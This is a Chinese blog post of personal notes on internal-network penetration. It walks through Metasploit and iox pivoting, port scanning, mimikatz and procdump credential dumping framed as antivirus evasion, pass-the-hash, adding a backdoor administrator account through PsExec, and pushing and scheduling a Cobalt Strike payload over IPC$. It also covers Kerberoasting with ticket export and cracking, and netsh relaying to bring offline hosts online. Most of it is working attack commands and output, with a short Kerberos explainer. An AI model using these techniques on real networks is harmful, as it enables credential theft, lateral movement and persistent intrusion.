内网渗透tips集合

这篇长期更,陆续记录我新学习的内网小技巧

 

一、iox工具的使用

最近在做一个内网渗透相关的小项目,内网很多操作还不熟,正好晚上大佬在实验室就请教了一波,lsyyyds!

没有图,我尽量详细的描述一下这个过程吧。

我现在的状况是 vps 的 msf 上添加了路由,挂了 socks4a 的代理,proxychains curl http://192.168.0.1/ 发现可以打印网页,就很想在本机的浏览器上访问一下这个内网网页,大佬推荐了 iox 工具,在 github 上直接搜,go 语言 star 最多的项目就是了。

 

首先根据靶机和 vps 的系统环境下载对应的 iox,然后分别上传到靶机和 vps 上面,vps 执行如下语句,注意这两个端口是有顺序的,前面的端口监听靶机的连接,后面的端口等待本机浏览器的连接。

./iox proxy -l [lport1] -l [lport2]

 

靶机执行如下语句,ip 为监听 vps 的 ip,执行后可以看到 vps 上面有连接成功的显示。

iox.exe proxy -r ip:lport1

 

浏览器再配置一下代理,代理服务器填 vps ip,代理端口填 lport2,切换到这个代理模式浏览器就可以访问内网网页啦!

 

二、内网端口扫描

因为我的内网操作都是靶机学来的,可能实战上面还有一点点偏差,就比如内网端口扫描我在靶机上会用 msf 挂 socks4a 代理,实战的时候发现扫描的好慢呐,今天请教了公司学长,原来使用 msf 自带的模块就可以,笔记如下:

meterpreter > run autoroute -s  192.168.0.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.0.0/255.255.255.0...
[+] Added route to 192.168.0.0/255.255.255.0 via 打码.打码.打码.打码
[*] Use the -p option to list all active routes
meterpreter > background 
[*] Backgrounding session 1...
msf5 exploit(multi/handler) > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.0.0        255.255.255.0      Session 1

[*] There are currently no IPv6 routes defined.

msf5 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp 
msf5 auxiliary(scanner/portscan/tcp) > options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   THREADS      1                yes       The number of concurrent threads (max one per host)
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.0.0/24
rhosts => 192.168.0.0/24
msf5 auxiliary(scanner/portscan/tcp) > set ports 22,21,80,443,3306,3389,8080,8000,9000,88,888,1433
ports => 22,21,80,443,3306,3389,8080,8000,9000,88,888,1433
msf5 auxiliary(scanner/portscan/tcp) > run

 

三、msf的socks4a代理

哈,这小节接第一小节讲,原来socks4a代理是可以让浏览器访问网页了,我绕了那么那么大一个圈,而且实验下来还很稳定,学到了学到了(run autoroute -d -s 172.2.175.0 //删除路由)

meterpreter > run autoroute -s 192.168.0.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.0.0/255.255.255.0...
[+] Added route to 192.168.0.0/255.255.255.0 via 打码.打码.打码.打码
[*] Use the -p option to list all active routes
meterpreter > background
[*] Backgrounding session 1...
msf5 auxiliary(server/socks4a) > use auxiliary/server/socks4a
msf5 auxiliary(server/socks4a) > set srvport 43212
srvport => 43212
msf5 auxiliary(server/socks4a) > run
[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server
msf5 auxiliary(server/socks4a) >

 

浏览器代理设置

 

四、mimikatz的一种免杀方式

学长说拿到服务器第一件事就是抓一下密码,在靶机上实验了一下,常规方式是管理员权限运行 mimikatz.exe,再输入以下命令

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

 

一种免杀方式是使用 procdump 把 lsass 进程的内存文件导出本地,再在本地利用 mimikatz 读取密码(需要注意的是从目标机器导出的 lsass.dmp 需要在相同系统下运行)

procdump.exe 下载地址 https://github.com/TideSec/BypassAntiVirus/tree/master/tools/mimikatz/procdump.exe

将 procdump.exe 上传到目标机器,执行命令导出 lsass.dmp

procdump.exe -accepteula -ma lsass.exe lsass.dmp

 

再使用mimikatz读取密码

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

 

五、确定机器名对应ip的技巧

ping 主机名可以获得对应的 ip

ping -n 1 -a ip 有可能获得对应的主机名

 

六、mimikatz导入票据

mimikatz 先清空票据,再导入票据,查看当前票据(cmd 下 klist 命令也可以查看当前票据信息)

mimikatz # kerberos::purge
mimikatz # kerberos::ptt tickets
mimikatz # kerberos::list

 

七、哈希传递攻击

mimikatz 哈希传递攻击,命令执行后弹出 cmd.exe,可以列出被哈希传递攻击靶机的 c 盘内容

mimikatz # sekurlsa::pth /user:administrator11 /domain:xxx.com /ntlm:9c4c99885e2a56f23c200ad4826d94c9

 

使用 psexec 工具获取 xxx.com 的 cmd,可以进行添加账号 asd 密码 Zh0u**IsB3st 等进一步操作,psexec 工具下载地址 https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

PsExec64.exe \\xxx.com cmd
net user asd Zh0u**IsB3st /add
net localgroup administrators asd /add

 

八、ipc相关

建立 ipc$ 非空连接

net use \\192.168.80.131\ipc$ password /user:username

 

靶机的C盘映射到物理主机的Z盘

net use z: \\192.168.80.131\c$

 

将 cs.exe 上传到靶机

copy cs.exe \\192.168.80.131\c$

 

获取靶机系统时间,以便执行计划任务

net time \\192.168.80.131

 

at命令让计算机在规定时间执行某个应用程序

at \\192.168.80.131 15:41 C:\cs.exe

 

九、SPN扫描

SPN扫描也涉及到一些 Kerberos 协议的部分,大三的时候华哥讲的很清晰了,就是那时候没配合实战理解了也很快就忘记了,现在再复习一下,图片和理解的思路都来自

Kerberos协议探索系列之扫描与爆破篇

Kerberos简介

Kerberos 协议中主要是有三个角色

  • 访问服务的 Client
  • 提供服务的 Server
  • 密钥分发中心KDC(Key Distribution Center)

从下图中可以看到KDC又分为两个部分:

  • Authentication Server:AS的作用就是验证 Client 端的身份(确定你是身份证上的本人),验证通过就会给一张TGT(Ticket Granting Ticket)票给 Client
  • Ticket Granting Server:TGS的作用是通过AS发送给 Client 的票(TGT)换取访问 Server 端的票(上车的票ST)。ST(Service Ticket)也有资料称为 TGS Ticket

 

Kerberos 认证流程可以用下面两个图帮助理解

 

SPN简介

服务主体名称(SPN:Service Principal Names)是服务实例(可以理解为一个服务,比如HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用SPN将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。

如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

 

SPN扫描

在了解了Kerberos和SPN之后我们可以通过SPN来获取我们想要的信息,比如想知道域内哪些主机安装了什么服务,我们就不需要再进行批量的网络端口扫描。在一个大型域中通常会有不止一个的服务注册SPN,所以可以通过“SPN扫描”的方式来查看域内的服务。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。 

 

Kerberoasting

在前面介绍 Kerberos 的认证流程时说到,TGS会返回给Client一张票据ST,而ST是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为RC4方式加密时,我们就可以通过爆破在 Client 端获取的票据ST,从而获得 Server 端的密码。

具体操作截图来自我打的一套靶机

查看 ack123.com 注册的SPN,发现存在SPN服务

setspn -T ack123.com -q */*

 

mimikatz 申请创建票据,票据为RC4加密,所以可以通过爆破的方式得到服务对应用户的密码

mimikatz kerberos::ask /target:mysql/16server-dc1.ack123.com

 

查看并导出票据

mimikatz kerberos::list          #查看
mimikatz kerberos::list /export  #导出

 

pwd 看一下当前路径,把票据下载回来

 

爆破域管密码,工具下载地址:https://github.com/nidem/kerberoast

python3 tgsrepcrack.py /usr/share/wordlists/fasttrack.txt 2-40a10000-12server-web2\$@mysql~16server-dc1.ack123.com-ACK123.COM.kirbi

 

十、不出网主机上线cs

proxy.exe 上传到双网卡跳板机,先在这台出网主机上开启一个 8080 端口的 http 代理,然后再利用系统自带的 netsh 命令将这台主机 59 出网段的 http 代理 8080 端口转发至 22 不出网段的 8888 端口上,用于后期在 cs 监听时设置 http 代理,工具下载地址:https://github.com/snail007/goproxy/releases/tag/v11.3

proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon
netsh interface portproxy add v4tov4 listenaddress=192.168.22.133 listenport=8888 connectaddress=192.168.59.135 connectport=8080

 

创建挂代理的监听器,HTTP Proxy 填写内网网段地址

 

然后生成木马,在不出网机运行后 cs 成功上线

 

posted @ 2020-09-19 12:18  beiwo  阅读(1049)  评论(0编辑  收藏  举报